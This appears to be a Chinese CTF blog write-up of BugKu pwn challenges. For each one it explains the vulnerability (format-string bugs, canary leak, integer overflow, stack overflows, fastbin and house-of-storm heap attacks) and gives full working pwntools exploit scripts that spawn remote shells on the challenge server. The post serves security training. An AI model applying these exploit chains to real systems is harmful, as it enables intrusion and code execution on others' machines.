BugKu做题记录【pwn】(持续更新中)


好久不做题了,刚刚开始的签到题就做了三天,感觉水平确实下降得太厉害了,恢复训练~
** **

repeater

1.题目分析

题目逻辑非常简单,就是read函数输入内容,然后printf输出,经过观察和简单得调试,我们需要注意到几个内容

在这里插入图片描述

  • pinrtf存在格式化字符串漏洞
  • read长度为0x64,不足以造成栈溢出
  • 经过权限查询发现开启了NX保护,RELRO是部分开启,也就是堆栈不可执行
  • 经过查看,bss段不可执行

2.我的错误思路

在分析得过程中因为没有及时看清各个攻击条件,导致了我有几个错误得思路

  • 错误思路1:首先通过泄露堆栈地址,然后复写main函数得返回地址,错误原因是,没有看清楚题目中一直在while循环之中
  • 错误思路2:随后我改进思路,将shellcode写入栈中,然后用任意位置写将putchar得got表指向shellcode,错误原因:没有看到堆栈不可知性NX保护
  • 错误思路3:我又将shellcode写入了bss段去执行(stack pivot技术),错误原因:没有看到bss段不可以执行

3.正确思路

思路得正确解题步骤,直接总结如下

1.利用printf在泄露栈上存放得__libc_start_main相关得位置
2.利用泄露地址使用LibcResercher推测服务器使用libc得版本
3.利用格式化字符串覆写printf的地址为计算出的system地址
4.输入/bin/sh在调用覆写后的printf函数触发getshell

总结的很简单,但是其中有好几个坑点需要注意
坑点1 深入理解格式化字符串写入

本题目经过测试发现,使用 n 写 入 4 字 节 覆 写 g o t 表 不 成 功 , 只 能 尝 试 使 用 2 个 n写入4字节覆写got表不成功,只能尝试使用2个 n4got使2hn覆写,这个时候简单记住一个规则, 格式化字符串写入本质就是写入了输出的长度值,因此同一个指令中写入有两种方法,一是先写入数值小的,再写入(数值大的-数值小的)的差值;二是写入大的,然后再写入(0x10000-数值大的+数值小的)
这个需要大家多多测试尝试一下,例如’0xff008800’,就需要写入0xff00再写入0x8900,或者是先写入0x8900再写入0x7600

坑点2 libc测试泄露的函数地址问题
这个不是技术问题,我本地使用的环境是libc.so.6,%35$p泄露的环境是__libc_start_main+241,但是题目环境是__libc_start_main+247

4.利用代码

from pwn  import *
import pwnlib
from LibcSearcher import *
#context(os='linux',arch='i386',log_level='debug')

if __name__ == '__main__':
	HOST = '114.67.175.224'
	PORT = 17424
	conn = remote(HOST ,PORT )
	#conn = process("./pwn7")
	#pwnlib.gdb.attach(conn,"b *0x080485CA\n")	
	conn.recvuntil("Do you know repeater?\n")

	'''step1:泄露libc中__libc_start_main函数的内存地址'''
	payload = "%35$p"
	conn.sendline(payload)		#格式化字符串泄露栈内容
	leak_addr = conn.recv(10)
	__libc_start_main = int(leak_addr,16) - 247  #实际题目中247偏移量的坑点就在这里
	
	print "__libc_start_main function in libc is",hex(__libc_start_main)
	libc = LibcSearcher('__libc_start_main',__libc_start_main)				#推测libc版本,需要挨个试一下
	libc_base_addr = __libc_start_main - libc.dump('__libc_start_main')		#计算libc基址
	system_addr = libc_base_addr + libc.dump('system')						#计算system内存地址

	'''step2:通过格式化字符串写入覆写printf的got表'''
	got_plt_printf = 0x804A014					#printf在got表中的位置
	payload = ''
	first_hn = system_addr/0x10000				#取高16位,偏移量14
	second_hn = system_addr%0x10000				#取低16位,偏移量13
	second_hn = (0x10000-first_hn)+second_hn	#这里使用的是 先输入“大的”,再输入“0x10000-大的+小的”  的方法
	
	str1 = "%" + str(first_hn) + "c%14$hn"
	str2 = "%" + str(second_hn) + "c%13$hn"
	payload += (str1 +""+ str2)
	payload = payload.ljust(28,chr(0))
	payload += p32(got_plt_printf)
	payload += p32(got_plt_printf+2)
	conn.sendline(payload)
	'''
	|------------------------|    ====>格式化字符串偏移量为6
	|       shellcode        |   
	|------------------------|
	|       shellcode        |    
	|------------------------|
	|       shellcode        |    ====>28bit写入格式化字符串
	|------------------------|
	|       shellcode        |   
	|------------------------|
	|       shellcode        |  
	|------------------------|
	|       shellcode        | 
	|------------------------|
	|       shellcode        | 
	|------------------------|
	|     got_plt_printf     |    ======>printf函数got表低16位
	|------------------------|
	|    got_plt_printf+2    |    ======>printf函数got表高16位   
	|------------------------|    
	'''

	'''step3: 触发漏洞'''
	conn.sendline("/bin/sh"+'\x00')
	conn.interactive()

5.知识点总结

  • 格式化字符串的读写,特别是多指令同时写
  • got表劫持
  • 在泄露libc中函数的情况下,利用LibcResercher猜测libc版本推算system函数地址

Canary

1.题目分析

基本情况一目了然,总结的信息点如下:

  • 程序开启了canary保护,没有开启ASLR
  • 程序两次输入长度均可以覆盖当前栈的返回地址
  • 程序本身自带了/bin/sh字符串和system函数

2.解题思路

思路就很简单,万能gadget的内容可以简单看一下万能gadget函数

1.利用第一次读泄露canary内容(因为canary的最低位为\x00)
2.构造ROP链,第一步调用system('/bin/sh')使system函数的got.plt指向内存地址,第二步利用万能gadget的__libc_csu_init函数劫持程序流

3.利用代码

代码很清楚,不再过多解释了

from pwn  import *
import pwnlib
from LibcSearcher import *
#context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = '114.67.175.224'
	PORT = 18037
	conn = remote(HOST ,PORT )
	#conn = process("./pwn4")
	#pwnlib.gdb.attach(conn,"b *0x40082C\nb *0x400881\n")	
	
	#pause()
	'''step1:泄露canary'''
	conn.recvuntil("Please leave your name(Within 36 Length):")
	payload1 = 'A'*0x238
	conn.sendline(payload1)			#这里用sendline就是为了多发一位覆盖canary的最低位\x00
	conn.recvuntil(payload1)
	leak_canary = u64(conn.recv(8)) - 0xa
	print "The canary is ",hex(leak_canary)
	
	'''step2:构造ROP链'''
	pop_rbx_rbp_r12_r13_r14_r15 = 0x040095A
	ROPgadget_point = 0x400943
	system_got = 0x601030
	binsh_addr = 0x601068
	system_first_call = 0x400803		#调用了system的hint函数地址

	payload2 = 'A'*0x208
	payload2 += p64(leak_canary)
	payload2 += p64(0)
	payload2 += p64(system_first_call)		#先调用system函数
	payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)		#万能gadget的ROP1位置
	payload2 += p64(0)				#rbx
	payload2 += p64(1)				#rbp
	payload2 += p64(system_got)		#r12
	payload2 += p64(0)				#r13
	payload2 += p64(0)				#r14
	payload2 += p64(binsh_addr)		#r15
	payload2 += p64(ROPgadget_point)	#万能gadget的ROP2位置

	conn.send(payload2)
	conn.interactive()

4.知识点总结

  • canary内容泄露
  • 万能gadget构造ROP链
  • 关于plt和got表的基础知识

Easy_int

1.题目分析

这个题目很明显其实有两个漏洞,一是在主函数里如何触发vlun函数的问题,二是vlun函数里面有个栈溢出漏洞

2.解题思路

1.关于如何触发vlun
猛一看感觉很奇怪,按照逻辑整形经过程序处理一定是正数,而只有负数才能进入vlun函数。
这里我们需要掌握一个基础知识,就是存储用补码存储,int表示范围在-2 ^ 31 ~ 2 ^ 31 - 1,只要我们输入0x80000000代表的整数,就会被认为是最小数-2 ^ 31,就可以绕过触发vlun(这是基本功,学过计算机组成原理应该都知道)
2.关于如何利用vlun
一个没有任何保护的栈溢出,在程序中又有system又有/bin/sh,利用就好了。
我个人有个疑问,我一开始直接想用万能gadget函数__libc_csu_init,但是怎么都无法成功利用,用puts的got值替换system的got值测试也是正常输出的,恳请大佬指点一下为什么

3.利用代码

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	HOST = '114.67.175.224'
	PORT = 14474
	conn = remote(HOST ,PORT )
	#conn = process("./pwn2")
	#pwnlib.gdb.attach(conn,"b *0x4011B6\n")	
	#pause()

	'''step1:check cross'''
	conn.recvuntil("Input your int:")
	payload1 = str(int(0x80000000))   #2147483648
	conn.sendline(payload1)

	'''step2:rop chain'''
	system_got = 0x04034C8
	bin_sh = 0x403500
	pop_rdi_ret = 0x401343
	puts_string = 0x04011C2 
	call_system = 0x04011F0

	payload2 = 'A'*0x28
	payload2 += p64(pop_rdi_ret)
	payload2 += p64(bin_sh)
	payload2 += p64(call_system)

	'''
	#这个就是我用万能gadget函数构造的ROP链,不知道为什么无法利用成功
	bin_sh = 0x403500
	pop_rbx_rbp_r12_r13_r14_r15 = 0x040133A
	ROPgadget_point  = 0x0401326
	payload2 = 'A'*0x28
	payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)
	payload2 += p64(0)
	payload2 += p64(1)
	payload2 += p64(bin_sh)
	payload2 += p64(0)
	payload2 += p64(0)
	payload2 += p64(system_got)
	payload2 += p64(ROPgadget_point)
	'''

	conn.recvuntil("Congratulations!")
	conn.sendline(payload2)
	conn.interactive()

4.知识点总结

  • 整型问题
  • 构造ROP链

overflow2PWN

真的只是栈溢出,然后调用system的方法和我在Easy_int用到的一摸一样,就题目而言不同的地方就是保护开启了NX和Relro full(就是got表只能在第一次赋值才能有写的权限,避免了got表劫持攻击)
直接上代码了

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = '114.67.175.224'
	PORT = 15287
	conn = remote(HOST ,PORT )
	#conn = process("./pwn")
	#pwnlib.gdb.attach(conn,"b *0x4011E2\n")	
	#pause()

	pop_rdi_ret = 0x040126b
	bin_sh = 0x402004
	system_call = 0x40116D

	conn.recvuntil("Please Input your name.")
	payload = "A"*0x28
	payload += p64(pop_rdi_ret)
	payload += p64(0x402004)
	payload += p64(system_call)
	conn.send(payload)

	#pause()
	conn.interactive()

overflow

没有任何保护的栈溢出,没什么好说的

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

if __name__ == '__main__':
	
	HOST = '114.67.175.224'
	PORT = 19988
	conn = remote(HOST ,PORT )

	get_flag = 0x400751
	conn.recvuntil("say something?")
	payload = "A"*0x38
	payload += p64(get_flag)
	conn.send(payload)

	conn.interactive()

Baby-heap1

1.题目分析

本题目大佬们说是常规的套路题目,经过分析通后发现确实挺套路的,但是中间解决了很多小的细节问题,先把题目的条件分析一下

  • 功能上是堆的各种增删改查的操作,在content_read函数中对输入的长度没有限制,所以存在越界写入的漏洞
  • 本函数运用的是libc2.23版本,程序各类保护是全开的

2.思路解析

首先要解决程序使用libc2.23环境和动态调试的问题,可以参考我的博客CTF pwn中利用pwntools加载不同版本libc调试程序的方法

由于保护全开,所以写入shellcode、构造ROP、got hijack统统失效,并且我们是不知道栈地址的,所以只能使用malloc_hook、free_hook此类函数来解决,关于_malloc_hook的讲解可以看我的博客,也可以网上搜索。然后我们具体分析,解决过程中的问题
1.利用smallbin泄露libc基地址
这个应该是堆的基础知识,不再赘述了,注意不要让释放的堆连着,否则会合并,也不要让释放的堆放在最后面。我的构造方法直接看代码即可,建议自己调试一下

2.利用fastbin attack构造能够操作realloc_hook和malloc_hook的堆
注意,fastbin attack是基础知识,但是有一点小细节,在申请能够操作realloc_hook和malloc_hook的堆的位置时,我们申请的时候Fake_chunk中新的堆地址需要指向偏移malloc_hook-0x23(利用内存地址中最高位0x7f作为新chunk的大小),malloc(0x60)后申请堆块的时候会检查空闲块的大小是否匹配,申请0x60实际chunk大小为0x70,否则创建堆不成功
我们用两张图说明
在这里插入图片描述

在这里插入图片描述

3.修改malloc_hook和realloc_hook控制程序流
控制流的顺序为
malloc->malloc_hook->realloc->realloc_hook->one_gadget
使用realloc的原因是,one_gadget往往对栈空间有要求,所以需要realloc函数的push相关指令,来改变栈空间的结构
在这里插入图片描述

综上,题目可解

3.解题代码(有小细节注意自己调试)

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create(create_size):
	conn.recvuntil("Command:")
	conn.sendline("1")
	conn.recvuntil("size:")
	conn.sendline(str(create_size))

def edit(index,edit_payload):
	conn.recvuntil("Command:")
	conn.sendline("2")
	conn.recvuntil("Index:")
	conn.sendline(str(index))
	conn.recvuntil("Size:")
	conn.sendline(str(len(edit_payload)))	
	conn.recvuntil("Content:")
	conn.send(edit_payload)

def show(index):
	conn.recvuntil("Command:")
	conn.sendline("3")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

def free(index):
	conn.recvuntil("Command:")
	conn.sendline("4")	
	conn.recvuntil("Index:")
	conn.sendline(str(index))

def leak_heap_addr():
	'''泄露堆的地址,实际上没啥用,在后面修复堆用的到'''
	edit(2,"A"*0x30)
	show(2)
	content = conn.recv(0x50)
	content = content.split("A"*0x30)[1].split("\n-----")[0]
	content = content.ljust(8,chr(0))
	leak_heap = u64(content)
	return leak_heap

def leak_libc_base(leak_heap):
	'''泄露main_arena + 88 的内存地址'''
	main_arena = 0x3C4B20			#libc中main_arena的偏移
	edit(2,"A"*0x38)
	show(2)
	content = conn.recv(0x60)
	content = content.split("A"*0x38)[1].split("\n-----")[0]
	content = content[:-1]			#这里有个坑,我在远程链接的时候会多出一个换行符,所以结尾需要去掉
	content = content.ljust(8,chr(0))
	leak_main_erena_88 = u64(content)
	libc_base = leak_main_erena_88 - 88 - main_arena  #leak main_arena + 88 psition
	return libc_base,leak_main_erena_88

def fix(leak_heap,leak_main_erena_88):
	'''这个只是把为了泄露破坏的对结构恢复了'''
	payload = "\x00"*0x28 + p64(0xa0) + p64(leak_heap) + p64(leak_main_erena_88)
	edit(2,payload)

def fastbin_attack(libc_base,libc):
	'''利用fastbin attack的UAF新建堆,用来操作realloc_hook和malloc_hook'''
	malloc_hook = libc_base + libc.sym["__malloc_hook"]
	print "The __malloc_hook addr is ",hex(malloc_hook)
	free(5)
	payload = p64(0)*5 + p64(0x70) + p64(malloc_hook-0x23)		#这里用
	edit(4,payload)
	create(0x60)	#5
	create(0x60)	#7

def _malloc_hook_chain():
	'''修改realloc_hook和malloc_hook的值,控制程序流'''
	'''程序控制malloc->malloc_hook->realloc->realloc_hook->one_gadget'''
	realloc_addr = libc_base + libc.sym["realloc"]	#realloc程序地址
	
	realloc_start = [0x0,0x2,0x4,0x6,0x8,0xb,0xc]	#为了保证one_gadget,需要通过控制realloc的起始地址来控制堆栈
	one_gadget_list = [0x4527a,0xf03a4,0xf1247]		#不同one_gadget指令备用

	one_gadget = libc_base + one_gadget_list[0]		
	print "The realloc addr is ",hex(realloc_addr)	
	payload = "A"*3 + p64(0) 
	payload += p64(one_gadget)
	payload += p64(realloc_addr + realloc_start[0])
	edit(7,payload)
	create(0x30)

if __name__ == '__main__':
	
	HOST = '114.67.175.224'
	PORT = 13747
	#conn = remote(HOST ,PORT )
	conn = process(['./ld-2.23.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.23.so'})
	#pwnlib.gdb.attach(conn,"b main\n")	
	libc = ELF("./libc-2.23.so")
	pause()

	'''第一步:泄露libc的基地址'''
	create(0x20)	#0
	create(0x90)	#1
	create(0x20)	#2
	create(0x90)	#3
	create(0x20)	#4
	free(1)
	free(3)
	leak_heap = leak_heap_addr()
	libc_base,leak_main_erena_88 = leak_libc_base(leak_heap)
	print "The leak heap addr is",hex(leak_heap)
	print "The leak libc base is",hex(libc_base)
	fix(leak_heap,leak_main_erena_88)		#修复被破坏的对结构

	'''第二步:利用Fastbin attack的UAF构造能够操作realloc_hook和malloc_hook的堆'''
	create(0x90)	#1
	create(0x90)	#3
	create(0x60)	#5     注意这里构造0x60大小是有讲究的
	create(0x20)	#6 	   这个其实没啥用,懒得删了
	fastbin_attack(libc_base,libc)

	'''第三步:修改realloc_hook和malloc_hook的值,控制程序流'''
	_malloc_hook_chain()

	conn.interactive()

4.知识点总结

  • fastbin attack 的 UAF
  • malloc_hook以及realloc和realloc_hook的调用
  • smallbin泄露libc地址

printf

这个题目我居然卡了好几天,感觉还是经验太差了,居然最最基础的格式化字符串卡住了…然后新手的话,这个题坑其实还是挺多的

1.题目分析

  • encode1函数的核心算法要澄清,本质上就是用key每一个字节异或,再拿这个异或的字节去异或加密明文,因此我们只要让key形如“AA”就可以控制输入明文。最终的密文是存在data段上的,密钥key存放在栈中
  • 关于encode2和encode3的核心算法,也是异或加密,通过仿真两个加密算法,就可以得到明文和密文的映射表(实验发现一一对应),从而我们就可以控制密文的内容注意!encode2密文存放在data段,encode3密文存放在栈空间
  • 关于main程序的循环,我们发现是通过一个全局变量控制的,初始变量为1,执行一次就结束了。需要我们后续破解!
  • 漏洞函数在encode2中的printf函数,可以通过控制输入明文,达到控制密文触发格式化字符串漏洞
  • 程序仅开启了NX和PIE,存在got hijack攻击的可能
  • 注意题目是没有给libc版本的

2.我的错误思路

格式化字符串漏洞全世界都会用,但是总结我两个错误思路,就是如何稳定的利用格式化字符串。我在本地测试的时候都是利用栈中可以通过read控制,且在printf时没有改变的位置完成格式化字符串的触发,但是在远程未知环境大概率因为环境不同就没有办法触发了…
正确的思路应该是,利用稳定的RBP链,通过one byte 修改,最终实现got表的修改。
错误思路1:通过encode2泄露代码基地址和libc基地址后,利用在data段的src参数,将src通过strcpy函数写在栈空间上,然后利用encode2中没有变化的段覆写eixt_got为one_gadget函数,然后修改全局变量控制程序退出

错误思路2:泄露地址信息后,利用encode1中输入key值(在栈空间)写入exit+got地址,后面执行过程同上

3.正确的思路和详细解释

第一步:修改全局变量qword_201700控制程序循环次数
能够利用的原因是encode1明文输入长度为0x150,而变量src在data段中的长度只有0x140,且后面就是控制循环次数的参数

payload = "A"*0x148
encode1("11",payload)

第二步:通过控制encode2的加密算法,利用printf泄露代码段基地址、__libc_start_main函数地址和rbp链的地址

def encode2_char(num):
    '''encode2函数加密'''
	sum = 0
	sum += 4*(num&0xc)
	sum += 4*(num&0x30)
	sum += ((num&0xc0)>>6)
	sum += 4*(num&0x3)
	return sum
def make_encode2_table():
    '''encode2加密明密文映射表'''
	table = []
	for i in range(0,256):
		table.append(encode2_char(i))
	return table	
	
encode2_table = make_encode2_table()	        #泄露代码段基地址
payload = decode2(encode2_table,"%10$p")
code_base_addr = prinft_leak(payload) - 0x8b0
print "The text base segment is",hex(code_base_addr)

payload = decode2(encode2_table,"%55$p")        #泄露__libc_start_main函数地址
__libc_start_main_addr = prinft_leak(payload) - 0xf0 #231  		#__libc_start_main
print "The __libc_start_main addr is",hex(__libc_start_main_addr)

payload = decode2(encode2_table,"%14$p")        #泄露rbp链地址
rbp_chain_addr = prinft_leak(payload)
print "The rbp chain is",hex(rbp_chain_addr)	

这里有个小坑,计算泄露的__libc_start_main函数地址时候,不同libc版本环境下调用的代码偏移可能不同,比如我本地是231,实际环境是0xf0,一般情况下都不会差太多,需要根据实际泄露的数据判断!

第三步:根据__libc_start_main函数地址,利用LibcReseacher判断libc版本

第四步:利用encode2中的rbp chain来稳定修改strcpy函数地址为one_gadget地址
这一步是关键的步骤,将一下具体什么实现思路

  • 首先看一下利用位置
    利用的位置在encode2函数中是%14位置
    在这里插入图片描述
    在这里插入图片描述

  • 利用思路第一部分:通过第二步泄露出的rbp地址,能够计算出0x7fff0eb9e7a0地址,通过对%14位置的操作,修改0x7fff0eb9e780的最低位,再通过%50操作依次修改0x7fff0eb9e7a0的存储内容
    这步是通过%14位置的操作,将0x7fff0eb9e780内容依次变化为0x7fff0eb9e7a1、0x7fff0eb9e7a2、0x7fff0eb9e7a3、0x7fff0eb9e7a4等等,然后通过对0x7fff0eb9e780(%50位置)的操作按字节修改0x7fff0eb9e7a0+i位置的内容

最终效果是将0x7fff0eb9e7a0存储修改为strcpy_got地址
在这里插入图片描述

  • 利用思路第二部分:通过操作%50位置(0x7fff0eb9e780)修改0x7fff0eb9e7a0(%54)存储的内容,依次为(strcpy_got + i),然后通过对%54位置操作,将strcpy_got修改为one_gadget地址

原理同上,最终实现效果是将strcpy_got的内容修改为one_gadget地址
在这里插入图片描述

第五步:利用encode3中触发strcpy漏洞
这里提一下为什么一定可以用one_gadget方法,这是结合encode3可以对栈输入内容,我们用\x00填充即可!

4.利用代码

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def encode1(str1,str2):
	conn.recvuntil("your choice:")
	conn.sendline("1")
	conn.recvuntil("keys?")
	conn.send(str1)
	conn.recvuntil("your message to encode:")
	conn.send(str2)	

def encode2(str):
	conn.recvuntil("your choice:")
	conn.sendline("2")	
	conn.recvuntil("your message to encode:")
	conn.send(str)

def encode3(str):
	conn.recvuntil("your choice:")
	conn.sendline("3")	
	conn.recvuntil("your message to encode:")
	conn.send(str)


def prinft_leak(payload):
	'''泄露栈空间内容'''
	encode2(payload)
	content = conn.recvuntil("nice encoding...")
	content = content.replace("nice encoding...","").replace("after encoding...\n","")
	leak_num = int(content,16)
	print hex(int(content,16))
	return leak_num

def encode2_char(num):
	'''encode2函数的加密算法'''
	sum = 0
	sum += 4*(num&0xc)
	sum += 4*(num&0x30)
	sum += ((num&0xc0)>>6)
	sum += 4*(num&0x3)
	return sum

def make_encode2_table():
	'''利用encode2加密算法做出明密文的映射表'''
	table = []
	for i in range(0,256):
		table.append(encode2_char(i))
	return table

def decode2(table,target_str):
	'''为控制encode2栈空间输入内容,进行明文密文的映射转换'''
	decode_str = ""
	for enum in target_str:
		for i in range(256):
			if ord(enum) == table[i]:
				decode_str += chr(i)
				break
	return decode_str

def hack(strcpy_got,encode2_table,one_gadget,rbp_chain_addr):
	'''攻击代码'''
	'''第一步:修改main函数的rbp指向strcpy_got地址'''
	for i in range(5,-1,-1):
		input_number = (rbp_chain_addr + 0x20 + i) & 0xff
		payload = "%" + str(input_number) + "c%14$hhn"
		payload = decode2(encode2_table,payload)
		encode2(payload)

		input_number = (strcpy_got>>(i*8))&0xff + 0x100
		payload = "%" + str(input_number) + "c%50$hhn"
		payload = decode2(encode2_table,payload)
		encode2(payload)

	'''第二步:修改strcpy_got内容为one_gadget地址'''
	for i in range(5,-1,-1):
		input_number = (strcpy_got  + i) & 0xff
		payload = "%" + str(input_number) + "c%50$hhn"
		payload = decode2(encode2_table,payload)
		encode2(payload)

		input_number = (one_gadget>>(i*8))&0xff + 0x100
		payload = "%" + str(input_number) + "c%54$hhn"
		payload = decode2(encode2_table,payload)
		encode2(payload)

if __name__ == '__main__':
	
	HOST = '114.67.175.224'
	PORT = 15557
	conn = remote(HOST ,PORT )
	#conn = process(['./ld-2.23.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.23.so'})
	#conn = process("./pwn6")
	#pwnlib.gdb.attach(conn,"b main\n")	
	#pause()
	encode2_table = make_encode2_table()

	'''第一步:解决主程序的循环次数问题'''
	payload = "A"*0x148
	encode1("B"*0x20,payload)	

	'''第二步:泄露程序段基址、__libc_start_main函数地址和rbp链的地址'''
	payload = decode2(encode2_table,"%10$p")		#泄露程序段基址
	code_base_addr = prinft_leak(payload) - 0x8b0
	print "The text base segment is",hex(code_base_addr)

	payload = decode2(encode2_table,"%55$p")		#泄露__libc_start_main函数地址
	__libc_start_main_addr = prinft_leak(payload) - 0xf0#231
	print "The __libc_start_main addr is",hex(__libc_start_main_addr)

	payload = decode2(encode2_table,"%14$p")		#泄露rbp链的地址
	rbp_chain_addr = prinft_leak(payload)
	print "The rbp chain is",hex(rbp_chain_addr)

	'''第三步:通过LibcSearcher判断libc类型'''
	libc = LibcSearcher('__libc_start_main',__libc_start_main_addr) 
	libc_base_addr = __libc_start_main_addr - libc.dump('__libc_start_main') 
	
	strcpy_got = code_base_addr + 0x201580
	print "The libc base addr is ",hex(libc_base_addr)
	print "The strcpy got is ",hex(strcpy_got)	

	one_gadget = 0x4527a		#需要根据泄露的libc版本,修改one_gadget的地址
	one_gadget =libc_base_addr + one_gadget
	print "The one_gadget addr is",hex(one_gadget)

	'''第四步:通过控制rbp链,修改strcpy_got的内容'''
	hack(strcpy_got,encode2_table,one_gadget,rbp_chain_addr)
	
	'''第五步:触发函数漏洞'''
	payload = "\x00"*0x148		#注意输入大量的\x00填充栈空间
	encode3(payload)	

	#pause()
	conn.interactive()

5.知识点总结

  • LibcReseacher泄露libc版本
  • 格式化字符串通过rbp链稳定利用问题
  • got hijack

simple_storm

这个题目可以说是house of storm最简单最好得测试题目了,适合学习。house of storm是一种结合了unsorted bin和large bin攻击得技术,利用起来并不复杂,但是对利用得条件比较苛刻,需要大家学习一下技术。可以参考我的文章
House of storm学习总结

1.题目分析

在这里插入图片描述

开启了ASLR
功能模块不再分析,就是对堆得写入没有长度限制,导致了可以控制unsorted bin和largebin得内容。如果学过house of storm技术,利用得思路就非常非常简单了

2.解题思路

第一步:利用large bin泄露main_arena地址
第二步:利用house of storm技术新建一个指向__malloc_hook-0x50地址得fake chunk
第三步:利用one gadget写到malloc hook位置
第四步:触发漏洞

3.解题代码

直接上代码了,因为如果懂原理,就是很简单,还是要看原理!

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(size):
	conn.recvuntil("Your choice?")
	conn.sendline("1")
	conn.recvuntil("Size?")
	conn.sendline(str(size))

def delete(index):
	conn.recvuntil("Your choice?")
	conn.sendline("2")	
	conn.recvuntil("Index?")
	conn.sendline(str(index))

def edit(index,payload):
	conn.recvuntil("Your choice?")
	conn.sendline("3")	
	conn.recvuntil("Index?")
	conn.sendline(str(index))
	conn.recvuntil("Content?")
	conn.send(str(payload))

def show(index):
	conn.recvuntil("Your choice?")
	conn.sendline("4")	
	conn.recvuntil("Index?")
	conn.sendline(str(index))	

if __name__ == '__main__':
	
	HOST = '114.67.175.224'
	PORT = 13231
	#conn = remote(HOST ,PORT)
	conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./simple_storm'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./pwn6")
	pwnlib.gdb.attach(conn,"b main\n")	
	pause()

	'''步骤一:利用largebin泄露main_arena地址,泄露heap地址(非必须)'''
	add(0x20)		#0
	add(0x400)		#1
	add(0x20)		#2
	add(0x410)		#3
	add(0x20)		#4
	add(0x20)		#5
	add(0x20)		#6

	delete(1)
	delete(3)
	delete(5)		#这里多free一个fastbin,是为了后面申请fastbin chunk将unsorted bin得chunk分配到largebin中

	#=====泄露main_arena地址======#
	show(1)
	content = conn.recvuntil("\n1. add")
	content = content.replace("\n1. add","")[1:]
	content = content.ljust(8,"\x00")
	main_arena = u64(content) - 88
	print "The main_arena addr is ",hex(main_arena)

	#=====泄露heap地址(非必须)======#
	show(3)
	content = conn.recvuntil("\n1. add")
	content = content.replace("\n1. add","")[1:]	
	content = content.ljust(8,"\x00")
	heap = u64(content)
	print "The heap addr is",hex(heap)

	'''步骤二:利用house of storm技术申请fake chunk'''

	#=====构造unsorted bin 和large bin得空闲链结构======#
	add(0x20)	#5 = 7 将当前unsorted bin chunk分配到largebin中
	add(0x410)	#3 = 8
	delete(3)	

	malloc_hook = main_arena - 0x10
	fake_chunk = malloc_hook - 0x50
	print "The fake_chunk addr is",hex(fake_chunk)

	#=====修改unsortedbin chunk内容======#
	payload = p64(0) + p64(fake_chunk)
	edit(3,payload)

	#=====修改largebin chunk内容======#
	payload = p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 -5)
	edit(1,payload)

	#=====触发漏洞申请fake chunk======#
	add(0x48)	#9

	'''步骤三:将one gadget覆写到__malloc_hook中'''

	#=====计算one gadget地址======#
	libc = LibcSearcher('__malloc_hook',malloc_hook) 
	libc_base_addr = malloc_hook - libc.dump('__malloc_hook')
	one_gadget = libc_base_addr + 0x4527a
	print "The one_gadget addr is",hex(one_gadget)	

	#=====修改__malloc_hook内容======#
	payload = p64(one_gadget) * 8 + p64(one_gadget)
	edit(9,payload)

	'''步骤四:触发漏洞'''
	add(0x20)

	conn.interactive()

4.知识点总结

  • house of storm
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值